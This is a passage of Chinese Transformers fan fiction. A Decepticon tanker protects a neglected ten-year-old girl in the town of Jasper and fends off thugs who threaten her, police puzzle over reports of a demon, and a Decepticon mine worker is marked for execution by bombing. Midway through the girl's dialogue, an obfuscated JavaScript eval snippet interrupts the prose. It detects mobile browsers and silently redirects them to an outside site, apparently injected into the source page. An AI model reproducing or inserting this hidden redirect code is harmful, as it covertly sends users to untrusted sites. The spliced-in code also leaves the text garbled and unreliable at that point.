他并没有抱怨油罐车停放的位置会影响他的生意,夜晚的生意本来就不好,而且他也没有胆子去质疑军方的人。 约翰又多看了几眼,如果不是耳边隐约传来的水声和计时器跳动的滴答声,他会以为自己还在做梦的。 然而,提到这是现实,约翰就不得不皱起眉,意识到女孩不正常的穿着打扮,她……她看起来甚至没有达到约翰小女儿的一半体格,要知道他的小女儿如今也不过刚刚15岁!这个年纪的孩子最是长身体的时候,而女孩看起来太瘦弱了。 还有那副瘦得有些脱相的脸颊和冻得皲裂的双手,说真的,哪个家长会带着这么小的孩子在晚上十二点出来洗澡?!她甚至看起来都还没有10岁! 但他又能怎么办呢?谁知道那些军方的疯子想些什么,就像前几个月还说有什么毒气泄漏让他们在家待着,接下来又改口说是实验室动物出逃了。 还有诡异的山火和不明原因的爆炸,而约翰不关心那些,光是养活自己和家人就已经让普通人难以招架了。 约翰,这个拥有三个孩子的父亲紧紧皱着眉,从玻璃门前回到了自己的收银台,而他完全没注意到那辆堵住了他店门口的油罐车悄悄转了转轮胎。 二十分钟后,焕然一新的女孩从隔间里走了出来,脸上的泥巴和头发上的污秽都洗干净后露出了女孩白净的小脸,现在约翰可以看清楚女孩有着一双明亮的大眼睛了,而她身上棉服和脚上的污渍看起来也被女孩清洁过一番,那股挥之不去的霉味也从女孩身上消除了,取而代之的是廉价沐浴露的淡淡橘子味。 而这也让女孩身上遭受不良待遇的痕迹越发明显。 “谢谢您。”女孩礼貌地道谢,随即就要离开。 一整晚的经历仿若离奇的梦,约翰犹豫了几瞬,他担忧地看了看女孩不合脚的棉鞋,还是决定开口,“孩子,如果你遇到了什么困境……我可以帮你报警。” 女孩,也就是安娜愣住了,离开的步伐微微一顿,投向约翰的眼神带着男人读不懂的神情。 “谢谢你。”回过神后,她浅浅笑了一下,“但不用了先生,我的家人还在车里等我。” “让一个孩子深夜在外面闲逛可不是什么好家长该做的。”约翰嘀嘀咕咕。 “如果你遭受虐待,我可以提供帮助。”男人看了一眼门外的大型车辆,缩了缩脖子,怯懦地说。 “我没有遭受虐待,”安娜了然地点点头,悄悄眨了眨眼睛,带着狡黠地说:“我的家人嗯……我们家的热水器坏了,而我身上的痕迹只是和朋友在外面玩得太晚,不得不出来找地方洗澡,您开的店可真是帮了大忙了。” 她悄悄撒了个谎,约翰看起来还有些不安,但起码不再像是要报警抓她们的样子,所以安娜还是安然无恙地离开了这家公众浴场。 离开前安娜都还能听见店主让她路上小心的话,而那时候女孩只在关心油罐车自动弹开的车门到底有没有被好心的店主大叔发现。 好在一切顺利,安娜坐在副驾驶位上舒舒服服地扣上自己的安全带时,小油罐车正询问她还有没有什么不舒服。 安娜自然心情愉悦告诉他一切都好。 哪里能不好呢,瞧瞧她!穿着新的棉服,洗了一个舒适的热水澡,坐在温暖的车厢里打着哈欠,既没有在这么冷的天气干活也没有因为做的饭菜不好吃而挨打,这简直是她自母亲离世以来过得最好的一天! 而且她上次这么不急不慌地享受一个热水澡可是在两年前啦。 她真的没什么不舒服的。 她告诉小油罐车省得天灾为她担心。 油罐车静悄悄地驶入贾斯帕的另一条十字路,在转弯时,他漫不经心地问,“所以,你刚刚就是在‘付钱’吗?” “没错。”安娜哼着歌。 “我们付给他钱,他向我们提供某种服务或者某种东西。我想现在你应该彻底理解了?” “当然。”天灾有些不服气的声音从广播里传出来,“我拥有最顶尖的处理器,理解这些当然小菜一碟。” “是吗?”女孩哼哼着反驳他,“我留欠条的时候你可不是这样。” “你差点儿以为我们留下欠条就意味着那一整个便利店都是我们的了。” “那是……”小油罐车卡了壳,最后闷闷地回应,“仅此一次。” 安娜没有拆穿小油罐车的欲掩弥彰。 “你还想要去什么地方吗?我们还可以再逛一会儿。” “唔……”安娜思索了一会儿,指了指另一个方向,“我下午的时候看到那边还有一家便利店,我想买些日用品。” “也许还有油漆,我想帮你把身上的划痕补一下。” 天灾没有回应,但油罐车发出两声鸣笛,方向盘打了两圈驶向了女孩手指的方向。 他现在对贾斯帕的熟悉程度不低于一个本土人类,今天一天他都带着女孩在贾斯帕闲逛,几乎把这座小镇摸透了,包括学校以及福利院。 但说是闲逛也并不准确,首先他们去了天灾“光顾”过的便利店,给突遭变故的店主写了欠条——安娜没有把他们仅剩的零钱留下,女孩思量片刻后还是决定先留下手里的现金,以防他们还有别的东西要买,取而代之的是写了全款损失金额和归还承诺的纸条,唯一的坏处就是店主不在店里,而绕开勘察现场的警探和记者废了他们一上午的时间。 下午的时候天灾试图在这个小镇找一个能让女孩暂住的地方,毕竟安娜已经在自己的车厢里睡了两个晚上,而一个人类想要活下去显然只有一个睡觉的地方是不足够的,天灾更不可能每个夜晚都带着一个女孩在自己的车厢里。 先不提军方,机械党那边就不好糊弄过去。 然而安娜拒绝任何类似“福利院”的地方,也不愿意离开天灾,为此小油罐车不能说自己没有一丝窃喜。 尽管天灾并不介意安娜一直睡在自己的车厢里,但住宿问题必须得到解决,为此他甚至去看了绑架富勒特工的那个地址,只是很不幸,原主人搬走后立刻有了其他的家庭占据了那座房子。 最后折腾到傍晚小油罐车才后知后觉在女孩昏昏欲睡的时候意识到他应该先让安娜彻底给自己做个清洁。 这就是他们夜袭浴场的原因了,而天灾很满意安娜现在身上浅浅的柑橘味,这对他的嗅觉系统也很友好。 小油罐车停留在24小时便利店的停车场,等待着购买物资的安娜返回车厢,贾斯帕没有地方暂住,但他还记得自己在贾斯帕周边曾找到过的几个无人矿洞,也许足够他们暂时停留几晚,直到他和安娜找到更合适的住所…… 也就在小油罐车思索之际,几个面相不善的人靠近了他。 几双人类的手摸上了他的保险杠。 为首的男人吹了个轻佻的口哨,“看看这个、这个大家伙!”他口齿不清地抚摸着油罐车银色的排气扇,另外几双手在天灾暗示自己忍耐的时候摸上了他车厢后的排气管。 铛铛—— 有人在敲他的车身。 一双手从他的后轮一路划到了他的油箱,天灾不得不克制住自己作呕的欲望。 忍耐…… 男人裂开一口黄牙踩上了油罐车的踏板。 他不知天高地厚地拽着他的后视镜,而天灾火种里的暴戾正在不断冲击他的理智。 可男人不知道自己正行走在生死边缘,甚至大胆地上手掰了掰天灾的车门。 车门在内里咔的一声上了锁,他理所当然没有掰开。 “啧,”他不爽地狠狠踢了一脚天灾的轮胎,“可惜是那帮条子的……” “不然换身新漆,我也开出去威风威风!” “哈哈哈哈,你就是在吹牛。” 其他几个男人勾肩搭背笑话他。 “你能有几个钱啊,你可买不起这东西。”他们指指油罐车,纷纷开口嘲笑。 “等着瞧吧!”男人有些气急败坏,浑身的酒气都挡不住眼里的浑浊和恶意,他恨恨地瞪了他们一眼又用贪婪的眼神扫视了一遍油罐车。 狐朋狗友们把他损得下不来台,男人又骂了几句,一群混混才摇摇晃晃地走了。 天灾在此期间绷紧了机体,自他们的脏手触碰上自己的机体,小油罐车就在告诫自己要忍耐了,而看着那几个人类消失在自己的视线范围,天灾才彻底关闭了武器系统的预热警告。 十五分钟后,安娜抱着牛皮袋回来了。 袋子里装了一些日用品但天灾也看见了一桶黑色的油漆,这让小油罐车愤怒的磁场暂时蛰伏了下来。 冬日寒冷也挡不住女孩脸上灿烂的笑,天灾估量着他们之间的距离打算在恰到好处时为安娜打开车门,好好问问女孩发生了什么事这么开心。 然而也就在这时,那群男人拿着撬棍与锤子返回来了。 天灾一开始并没有注意到他们,对于小油罐车而言,除了安娜外的其他人类实在是与机械蟑螂没什么区别。 他短暂而 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“哎呀,都忘了问……小妹妹,那是你的车吗?”他扭过头直直盯住安娜的眼睛,浑浊的眸子照出女孩似乎是在畏缩的身影。 这次女孩没有给出任何回应,她已经察觉到男人们的意图,紧紧皱着眉头,警戒地看着他们。 男人却从她的反应中得到了答案,不屑地撇嘴,“那你们可配不上它,在你们手里简直是糟蹋。” “告诉我,你有车钥匙吗,小妹妹?”他舔了口嘴唇,暴露出自己的目的,他打从一开始就盯上了这辆油罐车。 身后的几个“帮凶”也慢慢围住了安娜,堵住了女孩逃跑的路线,说着,“这种车还得真正的男人才懂保养!”之类的话。 男人紧紧盯着安娜,心想:没准能省了他撬车门造成的损伤呢! 一想到自己即将白获得一辆车,男人就心花怒放。 然而女孩固执地抱着牛皮袋,死也不开口。 耐心告竭,男人甩开撬棍,威胁似地蹲下身子直视着面露不安的女孩。 “让你的家人从车里下来,你也不想他们看见宝贵的女儿受到什么伤害吧?” 难闻的口气直冲口鼻,安娜厌恶地看着他,微微歪了歪头,眼神却是透过男人看向了他身后的那辆漆黑的油罐车。 “你也可以把车钥匙给我,我可以直接和你的家人好好‘谈一谈’,或者……”他故意留下一个无限遐思的停顿,他身后的混混里有人发出调笑,安娜甚至能感受到有人的目光正打量着自己的全身。 一个瘦子掂量了下手里的棍子,“或者你想尝尝我们的真家伙?” 够了! 一阵金属的摩擦声和碰撞声在为首的男人身后响起。 装甲组合溅起的火花砸在地面,天灾的光学镜在安娜的注视下再度亮了起来,不再压抑的戾气与远超男人的属于死亡的恶意蔓延,他伸出尖锐的指爪,武器系统嗡嗡作响,仿若等待着生命的消逝,狩猎的黑豹裂开恶意的犬齿,对准了人类的喉咙,俨然已经给眼前的几个人类判了死刑。 此时混混们还不善地盯着安娜,而女孩脸上的不安奇迹般地平复了,甚至一点一点亮了起来。 正当开口的瘦子奇怪她怎么如此反应时,他率先注意到了夜晚的阴影中站起来了一个恐怖的怪物。 细长的、猩红的恶魔从地狱的黑暗中爬到人间,那双燃烧着岩浆的眸子对准了他,似乎要将他撕碎…… 混混再受不了,纷纷发出尖叫,刺耳的声音划破了夜空,几个人纷纷丢下武器四散而逃,地面上留下淅淅沥沥的水渍,还有腥臭味。 为首的男人背对着油罐车,被他们吓了一跳,他跳了起来,暗骂逃跑的几人是发了神经,然而,他低头时却发现了脚底延伸的、明显不属于自己的影子。 那影子一点点向他靠近、收拢,他仿佛被掐住了喉咙的公鸡,感觉自己的灵魂也在随之收紧,他像是握住自己的命根子一样死死握着手里的撬棍,控制不住地缓缓转过身…… 他艰难地抬起头,死神的眼睛盯着他,岩浆从眼眶中流出,滴落在地面,男人几乎能感受到死亡的温度。 他会死、他会死、他会死! 生存的本能尖叫着,他在内心狂吼着逃跑然而他的腿一动不动。 他真的会死在这里! 救命救命救命救命救命他不想死! 下一秒,男人的身体如同落叶一般被猛地甩了出去! 肉/体/与坚硬的草垛撞击发出“噗”的一声闷响。 天灾冷哼了一声,连个眼神也没留给生死不明的男人。 “没人能在我的眼底下伤害她!”他压低声音冲着人类的方向咆哮。 一直在怒吼的本能这才平静下来。 他嫌弃地看了眼地面上几个混混留下的污渍,微微后退了几步才半蹲下来。 啊,对了,他后知后觉,对于自己同族的遭遇,正常的生命体会感受到感同身受的恐惧,那他的女孩也极有可能对自己的行为产生不良的反应。 他有些忐忑地看向刚刚开始便不发一言的女孩。 “安娜?”他叫道。 而女孩,他勇敢的女孩抱着牛皮袋扑向了他伸出来接住她的手掌。 “天灾!你真是、真是!” “太厉害了!” “什——!?”没预料到安娜反应的小油罐车被自己的电解液呛了一下。 安娜脸上一点没有刚刚经历了混混围堵或者看到天灾对自己同族行为的恐惧,她只是双眼发光地看着天灾。 “你保护了我,又一次!” “你……没有害怕吗?”天灾蹲下来。 “刚开始有一点,”安娜缩了缩脖子,“但是我看到你了。” 她说:“我看到你在我身边,就不害怕了。” “我知道你会保护我,就像你一直以来告诉我的那样。” 女孩用全心全意的信任看着他,眼神温柔,“而你做到了。” 油罐车扭开了头,草垛里被他甩出去的东西蠕动了一下发出了一声细小的呻吟,他注意到已经有人听到这边的动静,嘈杂的声音在午夜的贾斯帕响起来了。 “毕竟……现在你有我了不是吗。”天灾不自然地咳嗽了一声,用安娜曾说给自己听的话语回应了她。 安娜轻笑。 似乎是怕女孩不相信,天灾在此时转过头,那双如同红宝石一般的光学镜盯住女孩柔和的眼眸,认真地说: “不会再有人欺负你了。” “有我在就不可能,永远不再会。” “嗯。”安娜握紧他巨大的金属手掌,感受到肯利·艾佛利从未给予过自己的安全感。 女孩依然注视着他,带着感激与依赖。 “我想我们该离开了。”为了掩盖面甲的发热,小油罐车说。 “走吧。” 安娜再次检查了一下牛皮袋,确认没有破损。 天灾迅速地变形,载着安娜离开了“案发现场”。 几个人类警探在他们走后匆匆赶来,在便利店收到了关于地狱恶魔的报告,并在停车场外的草垛中发现了昏迷不醒的重伤者一名。 53.风雨欲来 又是一个平平无奇的上午,炙热的阳光透过树木的枝杈洒落在几日未见晴天的地面,蒸发出一缕缕水雾,回暖的温度提醒着大地春天就要到来。 森林中几头野鹿猛地跃起,鹿蹄落在巨大的车轮印上,延伸进森林深处的痕迹逐渐被自然所掩盖。 贾斯帕小镇中,九点的时钟刚刚响起,人类的车辆在平稳的路面呼啸而过卷起散落的报纸,上班的大人们打着哈欠百无聊懒地处理着工作,几个学生互相嬉闹着在校长的注视下踩着上课的铃声飞快地跑入教室。 嘈杂的声音逐渐取代夜晚的寂静无声,贾斯帕的日常一如既往,仿佛没有任何事情能够打扰到它的安详与宁静。 然而这幅生机勃勃的景象没能延续进贾斯帕的警署。 几个值班回来的警员带着黑眼圈与怨气撞开门口的推拉门,拖着沉重的脚步拿走了前台的几个甜甜圈。 甜味入口的瞬间他们才觉得心情好上了那么一些。 走近办公室,居民档案与案件调查散落一地,烟雾缭绕,呛鼻的烟味挥之不去,每个人脸上都带着烦躁。 警长的怒吼从一间办公室传到另一个办公室,然而所有人都见怪不怪,警员们带着困倦一夜未眠,连日的怪事足以让愤怒代替一开始的恐惧。 “瞧瞧这个!”警长拿着报纸狠狠拍着桌面。 “《离奇失踪的义卖品!城市精灵存在的证据》、《小心夜晚!恶魔在注视!》,这上面甚至还有作为证据本身的警察的证言!” “警察的证言!老天,你们是把自己的脑子吃了吗?!下一步要干什么,告诉他们尼斯湖水怪也真实存在吗!” “你们是警察!不是神秘生物调查员,我们要做的是查清楚真相而不是告诉记者所有的案件都是异常生物所为!这只能造成居民们的恐慌!” 警长捏着自己的鼻梁,只觉得自己气得脑壳生疼。 就在这时,一个警员小心翼翼地举起手,“可是警长……” 顶着上司冒火的眼神,他怯生生地说:“最近居民们的确反应过不少次自己无偿义卖摆在家门口的大型家具无故消失了,而且还是一眨眼的功夫就不见了。” “便利店的店员也反应听见了奇怪的响声。” “公众浴场的老板说遇见了诡异的小女孩。” “甚至我们几天前逮捕的那些小混混也都不约而同说自己见到了魔鬼。” “还有那个正躺在医院里的……” 越说警长的注视就越有威慑感,最终他心慌地停下了。 警长看起来已经气疯了,他冲上前捏起他的领子,对着他的耳朵大喊:“听好了你这个傻瓜!我只说最后一次!” “家具消失是因为被一个手法很高超的小偷偷了、公众浴池的老约翰困糊涂了、便利店的店员把大型车的动静误认为了怪物,而那些小混混,还有那个正躺在医院昏迷不醒的‘幸运儿’不可能遇见恶魔重返人间!” 警长松开缩起脖子的倒霉蛋下属,对着目瞪口呆的其他人嘶吼,“我不想再听到这种疑神疑鬼的推论了!听着,我们生活在现实里,而不是一部三级恐怖片,所以把你们的脑子都给我揣好,现在,给我去完成你们的工作!” 警员们稀稀松松地应和,窸窸窣窣的声音再次响了起来。 也就在这时,警长叫住了刚刚出声的小警员。 “你,跟我来。” “我?!” “对,”警长看着小警员惶恐的脸,最终叹了口气,看起来老了好几岁,“你要跟我去医院,那个浑身骨折的倒霉蛋身上还背着几条人命。” “刚刚医院来消息了,他醒了。”警长冷笑,“这个家伙最好全部坦诚交代然后做好在监狱待一辈子的打算。” “或者死刑。这种人渣值得一颗枪子儿。” 警长又哼了一声,两个人带着怨气离开,殊不知被他们念叨了好几天的恶魔与幽灵女孩本人正在快快乐乐地收拾着他们的“新家”。 那是一个巨大的地上溶洞,全天然的地质结构与霸天虎在挖掘时进行的二次加固使得这里成为了天灾所能找到的最稳固也最隐蔽的一处天然庇护所。 半封闭的空间有效阻挡了寒冷,而空旷的地面也为安娜和天灾提供了一处绝佳的休息场地。 溶洞中央,一辆卡车后斗停放在其中,天灾在把后斗拖进来后迅速变形,帮助安娜将一个破旧的红木衣柜从后斗中取出。 “真是好运。”安娜指挥他将其放在了一个光亮的角度,霸天虎遗落下的探照灯在溶洞中随处可见,倒是省了天灾寻找照明设备的功夫。 安娜熟练地拧干抹布,弯着腰探入衣柜内,“瞧瞧多新啊!” 天灾心不在焉地说:“贾斯帕可比佛莱斯特小镇的人类大方不少不是吗。” 安娜唱着歌,没有回复,但一声轻哼却清晰地落入了小油罐车的音频接收器。 安娜不是一个揪着自己过去不肯放手的孩子,但佛莱斯特小镇中的某些人的确没给她留下多好的印象,如果不是梵妮教给她的教养还在支撑,她此时也会忍不住附和天灾的。 衣柜中没有多少灰尘,义卖的家庭很细心地在将它摆放出去免费赠送前就清洗干净了,倒是给安娜省了许多功夫。 这几天他们靠着这样的免费义卖没少从小镇里搬运东西。 “这样就可以用了。” 女孩满意地点了点头,只是可惜她现在没多少衣服能放在衣柜里,连同书包也一同放进去也只是将将占了一个格子而已。 “然后就是……” 她喃喃着环顾四周,映入眼帘的首先就是天灾“赊”来的冰箱,托垃圾场的福,他们捡来的发电机在安娜接上几条电线后误打误撞启动并成功给冰箱通上了电。 除此之外,溶洞的地面上还额外摆放着两桶黑色的油漆、破旧的沙发与几条毛毯。 她思索过要不要再从垃圾场搬几块木条做张床,但是天灾拒绝了这个提议。 尽管溶洞有一定保暖功效,天气也在逐渐转暖,但他既然在这里就不想冒险让安娜着凉生病。 所以目前这就是他们所拥有的一切,哦对了,安娜拍了下自己的脑门。 “我们可能还需要一些日用水,我怎么把这个忘掉了呢。”她对自己生闷气,虽然手上的水够喝但如果她需要清洁,这些就远不够了。 暗暗定好今晚的行程,安娜下意识去寻找那辆漆黑油罐车的身影。 她回头,新认下的家人就坐在她身后静静注视着她。 光线透过缝隙撒进溶洞,小油罐车坐在空地上,阳光照射在机体上烘出暖洋洋的温度也照出天灾平静的面甲。 那双继承了亲族狠厉的猩红目镜在此时才允许自己流露出内里的柔软,他观察着安娜,时不时为安娜的小动作勾起嘴角。 “天灾?”女孩于是也笑着跑去找他。 “嗯?”天灾垂下头雕,如同家养的猫咪等待着女孩的下文,未被面罩掩盖的面甲上流露出一丝不自然。 昨晚小油罐车才第一次真正在安娜面前卸下自己面甲上的战术口罩,而他还不太适应……这样。 对于天灾而言,要克服这种几乎像是未着任何外装甲的羞耻感和不安感还需要一些时间。 女孩蹦蹦跳跳地来到他面前,面露凝重地停下。 她看看小油罐车的面甲又绕着他走了半圈,最后定定地看向天灾面露疑惑的光学镜。 “有没有人说过你真的很不擅长隐藏情绪?”安娜问。 天灾抱起胸,挑起了眉:“你说过,就在昨晚。”他指出。 女孩虽然脸上的表情依然很不开心,但还是摊了摊手,“谁让你的情绪都写在脸上啦。” “我没有。”天灾皱眉,嘴角也撇下去了。 “你有。”安娜继续说。 “我没有。”小油罐车较上了劲,身上的排气扇微微挤压,连同置换声也加重了。 安娜可不怕他这副模样。 “那你在烦恼些什么呢?”女孩不再纠结小油罐车的口是心非,反倒是直接地说出天灾自今天天亮后就出现的异常,“我刚刚又确定了一遍。” “你就是有在烦恼。” 天灾显然还想反驳,但安娜伸出一只手掌,“你早上起来的时候关得很快,但我还是听见了,你广播里有人在叫你的名字。” “我吃早饭的时候你跑出去飙车了,回来的时候身上粘了一个塑料袋。” 天灾抬起爪子。 “中午的时候你把停车场的电线杆撞倒了。”天灾放下爪子。 天灾张嘴。 “而就在刚刚,我跑过来的时候,你身上的磁场在电我。” 天灾把嘴巴闭上了,看着安娜笃定的样子,小油罐车嘟嘟囔囔着“敏锐的女孩”。 “所以,”安娜叹了口气,靠近了他,“能告诉我你在生谁的气吗?” “总不能是加油站的汽油不好吃吧?”女孩开了个玩笑。 “我不吃汽油。”天灾总算找到机会,听到这话不屑地冷笑了一声。 “我吃能量块。” “好的好的,‘我吃能量块’先生,”安娜熟练地给坏脾气的小油罐车顺毛,“现在我可以知道你在烦恼什么了吗?” …… 天灾还是不肯说话,良久,顶着女孩不得答案不罢休的眼神,天灾屈服了。 “我想我可能有个……工作要我去做。”他停顿了一下。 “而你不想去?”安娜关切地看着他。 “差不多吧。”小油罐车吞吞吐吐地承认。 他撒了谎,但无论如何,他不想安娜为自己的处境担心。 “好吧,那是你的上司不好相处吗。”好在女孩没有察觉也没有深究。 “他给你出了难题,让你很难处理吗?” “不,”天灾嗤笑了一声,“他还没那个资格。” “那就是工作内容不好?” “……不能算是吧。”毕竟他还不知道人类军方到底要自己这个曾给他们造成过大麻烦的敌手有什么用,除非他们是想要对自己进行报复。 但如果真这样就好了,他更怕军方会另有什么图谋,他毁掉的那些关于领袖的研究都不是什么好东西。 而他就继承了擎天柱的机体,如果想要弥补损失,他自然也会是最好的切入口。 他垂下光学镜。 “那是什么?”这回轮到安娜不明白了。 对于安娜而言,肯利·艾佛利在工作上的不顺心无非是“不懂”他良苦用心的傻瓜上司或者搞不明白的工作内容,当然最糟糕的是失业。 但赛博坦人也要担心失业吗? 她疑惑地歪头看天灾。 小油罐车顶着这样的目光,轻声告诉她:“我讨厌这个工作,全部。” “那里充斥了自作聪明的傻瓜和利益熏心的蠢蛋,所有人都想获得先机,所有人都有想要实现的野心,但所有人都不过是在给自己的死亡加速快进。” “贪得无厌、虚伪阴险……” 他敲击着自己的腿甲,丝毫没有意识到自己眼前的倾听者不过是个年仅十岁的女孩。 但安娜静静坐在他身边,哪怕对他口中的工作一知半解却依然陪着小油罐车,任由他发泄自己的怒火。 “一群作茧自缚、自作聪明的人类,他们所想做的一切不过是从我身上榨取价值。” “可以逃吗?”女孩开口,“你可以逃走吗?” 她带着希冀说,“那听起来不是一个……好工作。” 天灾闻言狠狠置换了一下,油罐车的引擎发出愤怒的轰鸣,磁场在他的电镀层上劈啪作响。 “这就是我憎恨的,我不能。” “我……不能。” “噢天灾……”安娜心疼地爬上他的腿甲,抚摸着天灾深埋的头雕。 “他们叫你去,对不对?”她说。 “今天早上的通话,就是他们在叫你。” 小油罐车没有答复。 安娜依然轻轻摸着他的头雕,像是梵妮曾对自己做过的那样。 良久,天灾才低声开口,“而且,如果我走了,你该怎么办呢?” “你在……担心我吗?”安娜略带惊讶地说。 小油罐车这回轻微点了点头。 “不用担心我,我就在这里,”安娜立刻安抚他,“我在这里,除了你还有谁会来这里找我呢?我在这里很安全。” 她重复着,“我有食物、水,我有所需要的一切,而且你说过,这个溶洞除了我们不会再有其他人类发现,我会很安全的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252274|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “而且你知道,没有你的话我不会独自离开这里,我们是家人,我不会丢下你一个的。” “更关键的,我不希望你因为我受到伤害,”她轻轻抵上小油罐车的额头,“那些人听起来很不好对付,如果你必须要去的话,就去吧,不要担心我,我会在这里等你回来。” “最重要的是不要受伤好吗?我保证我会安然无恙,你也要保证安全地回来好吗?” 她轻轻拍了拍小油罐车的面甲,也恰在此时,天灾的内线中来自军方的联络代码响起了今天的第二遍,也是自天灾得知自己被“借”出后的第三次。 这回机体内的反应没瞒过近距离接触他的女孩。 安娜跳下他的腿甲,看着他,“早点儿回来。” “我……” “好啦,我可不记得冒着暴露的风险恶狠狠地威胁了一个坏人的那辆油罐车是这样一个心软的机子。” 安娜没给他反驳的机会。 “……哈。我的确不是。”油罐车沙哑地笑了一声,等他站起来时战术口罩已经重新覆盖上他的面甲,眉眼间再度恢复了冷漠,离开前他最后看了一眼站在原地的女孩。 “我尽快回来。” 女孩点点头,看着天灾离开,尽管她很清楚,她的新家人就是那样一个嘴硬心软的机子。 …… 相隔万里的霸天虎战舰上。 在地球上的几日他们也没有闲着,太多的战略部署要随着霸天虎君主的全面回归而更改。 声波要负责的区域从情报收集扩大到了整艘战舰的管理,击倒不光要负责履行医官的本职还要负责大部分的后勤,打击更是从负责小部分战斗单位的训练与巡逻扩大到了管理部分矿场的挖掘指标。 除此之外,被影响的最多的无疑是他们的seeker副官,红蜘蛛在威震天“缺席”期间所定下的规定几乎被全部废除。 从矿机的挖掘安排到战斗单位的巡逻路线,从领导层的指挥权到军官的军衔任命权,目前红蜘蛛的手上仅剩下了部分飞行单位的指挥权,然而这部分权力在威震天回归后自然是霸天虎的君主要占据第一顺位。 可以说红蜘蛛几乎被完全架空,成为了一个光杆司令。 这让银色的游击这几天气得火种乱跳,连带着所有人都获得了一个混乱的生存周期。 “又来了……”击倒大声地叹气,游击脚上推进器猛猛砸在地面的声音由远及近,击倒不用想都能脑补出红蜘蛛那尖锐刺耳的声音。 “击倒!你要干这个!” “击倒!你要干那个!” 他小声逼逼,身后听见的打击无奈地看着他。 果不其然,很快,红蜘蛛就推开了那扇金属门。 “击倒!”游击独富特点的声音响起,红蜘蛛一边说一边手舞足蹈地描述,在他背后,击倒对着打击做出了一个“我说什么来着”的唇形。 蓝色的越野车耸了耸肩。 “交给你个任务!”红蜘蛛还在大声嚷嚷,“威震天真是糊涂了,什么东西也敢交给我!他还记得我是他手下最优秀的战斗单位吗!?我是整个霸天虎的副指挥官!” “现在什么任务都敢交给我了,他手底下那些下级军官难道都是摆设吗?养着他们就为了浪费我们宝贵的能量吗?” “要是我的seekers没留在赛博坦,他以为他能让我干这些杂活吗?” 眼看红蜘蛛的怒火依然有燃烧的架势,击倒不得不打断他。 “那么霸天虎独一无二、万人之上的副指挥官大人要交给我什么任务呢?”他恭维道。 红蜘蛛见状哼了一声,“收起你的小心思吧。” 他顿了顿,整理了下自己的表情和仪态,咬牙切齿地说,“威震天陛下让我……你带着一队战斗单位去轰炸这个坐标。” 他抬了抬下颌,将一组坐标和任务内容发给了红色的跑车。 击倒挑起一边的眉毛,点开资料却还看到了一架特别标注出来的霸天虎量产机的编号。 这回他真的诧异起来了。 “威震天陛下关注这么一台小机子干什么?”猝不及防下,他下意识说出口,“大人这几天不是还在研究黑暗超能量体吗?” 话一说出口他就意识到自己说错话了,冷凝液瞬间浸透了背部装甲。 打击在他身后手足无措。 击倒紧张地闭上嘴,哪怕明知道声波不在此处依然神经兮兮地四处张望了一下。 红蜘蛛居高临大看着他,光学镜中也冷了下来,“那不是你该了解的事情。” “是……是……”击倒低声应和。 “行了,别好奇你不该知道的事情……声波也不在这里,他有其他的事情要忙没空搭理你。” 闻言击倒才讪讪笑了几声。 红蜘蛛在他身上满足了自己的权力欲,心情也好上了不少,他在医官的诊室优雅地踱步。 “听说是声波将自己整理好的什么东西报告给了威震天陛下,才有了这个任务,”高傲的副官冷哼一声,“你只管执行就好了。” “别去触碰自己不该涉足的东西。”他最后提醒了一句,随后就踩着自己推进器与地板的敲击声走出了诊疗室。 击倒目送他怒气冲冲地来又怒气冲冲地走,往后几步靠在了打击早早摊开的拥抱中。 蓝色的越野车散发出温柔的磁场安抚着自己受了惊的火伴,尽管他自己也被吓得不轻。 击倒赚够了自己火伴的心理安慰才不舍地离开他。 他打开看了眼任务内容,为里面的那个机子和涉及到的其他人感到了深深的遗憾。 如果他有权利,他会为这个感到悲哀的。 但如果他不照做,下一个被写在任务内容上的机子也许就是他和打击。 他离开打击,身后的车门低低垂着,“好吧好吧,谁让我们没有选择呢,坏事只能我们干了。” 他离开诊疗室,叫住了走廊中巡逻的一队量产兵。 “你们去叫一队战斗单位跟着我下去执行任务,威震天陛下的命令。” 几架量产兵跑走,击倒又对着留下的几架飞机说:“还有一个机子,你们也叫上他一起跟着去。” “我记得编号是……” “K-19。” 54.轰炸 当头顶的巨石夹杂着同伴们的惊呼狠狠砸下的瞬间,K-19知道这一切的发生并非毫无征兆。 每一日他下矿前管理员注视自己的目光、通讯时联络员不自然的停顿、踏入泊位前移动的监控器、逐渐稀少的能量补给…… 他对这一天的到来并不意外,他只是可惜,可惜他没能在这一天到来前转移走所有的同伴,也意外威震天陛下竟然允许他做到了如此地步。 …… 也许早在他救下第一名同伴并决定向他们的主人隐藏这一决定时,这就已经是K-19作为一架量产士兵的结局。 不是死在流水线上作为残次品被销毁,也不是死于突如其来的矿场坍塌成为又一个无人在意的消耗品,更不是死于无法抗衡的战场厮杀变为坟场中的死尸。 K-19是作为反叛者死在自己人手中的。 一个对于劳工阶级的矿机而言远超他价值的死法。 他应该对此心怀感激的。 “一架毫无价值的量产杂兵死于霸天虎首领亲自下令的处刑”!更不用提威震天陛下和声波长官甚至给了他这么多时间让他救下了这么多同伴。 听起来就是一种荣耀不是吗,毕竟他早就该进入熔炼炉了。 早在他轰碎同类的头雕,浸湿在赛博坦人的能量液中时,他就该回归火种源了。 当恒星照射在黎明高地的战场,除了他自己却再也看不见一架活着的机子时,他就该回归火种源了。 当霸天虎与汽车人的战斗结束却没有任何一个阵营的人来寻找是否有作为炮灰而被拉入战场填埋人命的量产机存活时,他就该回归火种源了。 他推开身前的一个同伴,自己却被压在了石块下。 巨石碾碎了他的双腿,连同矿机的整个下半身一起淹没在滔天的灰尘之中,光学镜失去作用的第一塞秒,他摸索到了身侧一条断掉的胳膊。 视觉系统陷入黑暗,能量液的腥甜却闯入他的嗅觉系统,黏腻、湿滑的触感自不远处同伴死不瞑目的尸体流淌到自己同样碎裂的机身,一股难以控制的恶心感涌上摄食管,他躺在地上无助地喘息,每一次置换都带来死亡的气息。 